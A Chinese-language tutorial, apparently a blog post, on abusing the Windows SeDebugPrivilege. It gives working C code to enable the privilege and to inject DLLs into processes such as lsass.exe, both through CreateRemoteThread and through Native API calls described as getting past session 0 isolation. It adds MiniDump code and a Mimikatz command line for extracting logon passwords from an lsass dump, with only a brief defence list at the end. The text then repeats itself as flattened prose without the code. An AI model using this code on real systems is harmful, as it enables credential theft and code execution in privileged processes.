Token Privileges Abusing - SeDebugPrivilege
字数 985 2025-08-06 12:21:08

SeDebugPrivilege 特权滥用技术详解

1. SeDebugPrivilege 特权概述

SeDebugPrivilege 特权在 Microsoft 官方文档中被描述为 "Debug programs",该特权非常强大,它允许持有者:

  • 调试另一个进程
  • 读取和写入该进程的内存
  • 实现远程线程注入
  • 转储进程内存(如 lsass.exe)

2. 特权启用方法

在利用前需要先为当前进程启用 SeDebugPrivilege 特权:

BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
    BOOL status = FALSE;
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges;
    
    // 获取特权的LUID值
    if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
        wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
        return status;
    }
    
    // 设置提升信息
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // 调整进程令牌权限
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 
        sizeof(tokenPrivileges), NULL, NULL)) {
        wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
        return status;
    } else {
        status = TRUE;
    }
    return status;
}

3. 远程线程注入技术

3.1 基本原理

利用 LoadLibrary() 和 CreateRemoteThread() 函数实现 DLL 注入:

  1. 获取目标进程中 LoadLibrary() 函数地址
  2. 在目标进程空间中写入 DLL 路径字符串
  3. 创建远程线程调用 LoadLibrary() 加载 DLL

3.2 关键函数

// 加载DLL的函数
HMODULE LoadLibraryW([in] LPCWSTR lpLibFileName);

// 创建远程线程的函数
HANDLE CreateRemoteThread(
    [in] HANDLE hProcess,
    [in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
    [in] SIZE_T dwStackSize,
    [in] LPTHREAD_START_ROUTINE lpStartAddress,
    [in] LPVOID lpParameter,
    [in] DWORD dwCreationFlags,
    [out] LPDWORD lpThreadId
);

3.3 实现步骤

  1. 获取目标进程ID
  2. 打开目标进程获取句柄
  3. 在目标进程中分配内存
  4. 将DLL路径写入目标进程
  5. 获取LoadLibraryW函数地址
  6. 创建远程线程

3.4 完整实现代码

BOOL ExploitSeDebugPrivilege(LPCWSTR lpProcessName, LPCWSTR lpDllFileName) {
    BOOL status = FALSE;
    DWORD dwProcessId;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    SIZE_T dwSize = 0;
    LPVOID lpDllAddr = NULL;
    FARPROC pLoadLibraryProc = NULL;
    
    dwProcessId = GetProcessIdByName(lpProcessName);
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    
    // 在目标进程中分配内存
    dwSize = (wcslen(lpDllFileName) + 1) * sizeof(WCHAR);
    lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    
    // 写入DLL路径
    WriteProcessMemory(hProcess, lpDllAddr, lpDllFileName, dwSize, NULL);
    
    // 获取LoadLibraryW地址
    pLoadLibraryProc = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
    
    // 创建远程线程
    hThread = CreateRemoteThread(hProcess, NULL, 0, 
        (LPTHREAD_START_ROUTINE)pLoadLibraryProc, lpDllAddr, 0, NULL);
    
    WaitForSingleObject(hThread, -1);
    CloseHandle(hProcess);
    return status;
}

4. Native API 注入技术(突破SESSION 0隔离)

4.1 为什么需要Native API

Windows 内核6.0后引入会话隔离机制,CreateRemoteThread() 内部调用 NtCreateThreadEx() 时设置 CreateThreadFlags=1 导致线程挂起,无法注入系统服务进程。

4.2 关键Native API

// Native.h 头文件定义
typedef NTSTATUS(NTAPI* _NtOpenProcess)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID ClientId
);

typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(
    HANDLE hProcess,
    PVOID lpBaseAddress,
    PVOID lpBuffer,
    SIZE_T NumberOfBytesToRead,
    PSIZE_T NumberOfBytesRead
);

typedef NTSTATUS(NTAPI* _NtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument OPTIONAL,
    ULONG CreateFlags,
    ULONG_PTR ZeroBits,
    SIZE_T StackSize OPTIONAL,
    SIZE_T MaximumStackSize OPTIONAL,
    PVOID AttributeList OPTIONAL
);

4.3 Native API 注入实现

BOOL ExploitSeDebugPrivilege(LPCWSTR expType, LPCWSTR lpProcessName, 
    LPCWSTR lpDllFileName, LPCWSTR lpOutputFile) {
    
    // 使用NtOpenProcess打开进程
    status = NT_SUCCESS(NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, 
        &ObjectAttributes, &clientId));
    
    // 使用NtAllocateVirtualMemory分配内存
    status = NT_SUCCESS(NtAllocateVirtualMemory(hProcess, &lpDllAddr, 0, 
        &dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));
    
    // 使用NtWriteVirtualMemory写入DLL路径
    status = NT_SUCCESS(NtWriteVirtualMemory(hProcess, lpDllAddr, 
        (LPVOID)lpDllFileName, dwSize, NULL));
    
    // 使用NtCreateThreadEx创建线程(关键:CreateFlags设为0)
    status = NT_SUCCESS(NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, 
        hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryProc, lpDllAddr, 
        0, 0, 0, 0, NULL));
}

5. 进程内存转储技术

5.1 使用MiniDumpWriteDump转储内存

BOOL ExploitSeDebugPrivilege(LPCWSTR expType, LPCWSTR lpProcessName, 
    LPCWSTR lpDllFileName, LPCWSTR lpOutputFile) {
    
    dumpFile = CreateFileW(lpOutputFile, GENERIC_WRITE, 0, NULL, 
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    
    status = MiniDumpWriteDump(hProcess, dwProcessId, dumpFile, 
        MiniDumpWithFullMemory, NULL, NULL, NULL);
}

5.2 使用Mimikatz解析转储文件

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

6. 防御措施

  1. 限制SeDebugPrivilege特权的分配
  2. 监控可疑的进程内存操作
  3. 检测远程线程注入行为
  4. 保护关键进程如lsass.exe
  5. 启用Credential Guard等安全机制

7. 使用方法示例

7.1 DLL注入

SeDebugPrivilege.exe -e "Injection" -p "lsass.exe" -m "C:\shell.dll"

7.2 内存转储

SeDebugPrivilege.exe -e "Minidump" -p "lsass.exe" -o ".\lsass.dmp"

8. 总结

SeDebugPrivilege特权滥用是本地提权的常见技术,攻击者可以通过:

  1. 远程线程注入执行恶意代码
  2. 转储进程内存获取敏感信息
  3. 结合Native API绕过部分防御措施

防御方应加强对特权使用的监控和限制,特别是对关键系统进程的保护。

SeDebugPrivilege 特权滥用技术详解 1. SeDebugPrivilege 特权概述 SeDebugPrivilege 特权在 Microsoft 官方文档中被描述为 "Debug programs",该特权非常强大,它允许持有者: 调试另一个进程 读取和写入该进程的内存 实现远程线程注入 转储进程内存(如 lsass.exe) 2. 特权启用方法 在利用前需要先为当前进程启用 SeDebugPrivilege 特权: 3. 远程线程注入技术 3.1 基本原理 利用 LoadLibrary() 和 CreateRemoteThread() 函数实现 DLL 注入: 获取目标进程中 LoadLibrary() 函数地址 在目标进程空间中写入 DLL 路径字符串 创建远程线程调用 LoadLibrary() 加载 DLL 3.2 关键函数 3.3 实现步骤 获取目标进程ID 打开目标进程获取句柄 在目标进程中分配内存 将DLL路径写入目标进程 获取LoadLibraryW函数地址 创建远程线程 3.4 完整实现代码 4. Native API 注入技术(突破SESSION 0隔离) 4.1 为什么需要Native API Windows 内核6.0后引入会话隔离机制,CreateRemoteThread() 内部调用 NtCreateThreadEx() 时设置 CreateThreadFlags=1 导致线程挂起,无法注入系统服务进程。 4.2 关键Native API 4.3 Native API 注入实现 5. 进程内存转储技术 5.1 使用MiniDumpWriteDump转储内存 5.2 使用Mimikatz解析转储文件 6. 防御措施 限制SeDebugPrivilege特权的分配 监控可疑的进程内存操作 检测远程线程注入行为 保护关键进程如lsass.exe 启用Credential Guard等安全机制 7. 使用方法示例 7.1 DLL注入 7.2 内存转储 8. 总结 SeDebugPrivilege特权滥用是本地提权的常见技术,攻击者可以通过: 远程线程注入执行恶意代码 转储进程内存获取敏感信息 结合Native API绕过部分防御措施 防御方应加强对特权使用的监控和限制,特别是对关键系统进程的保护。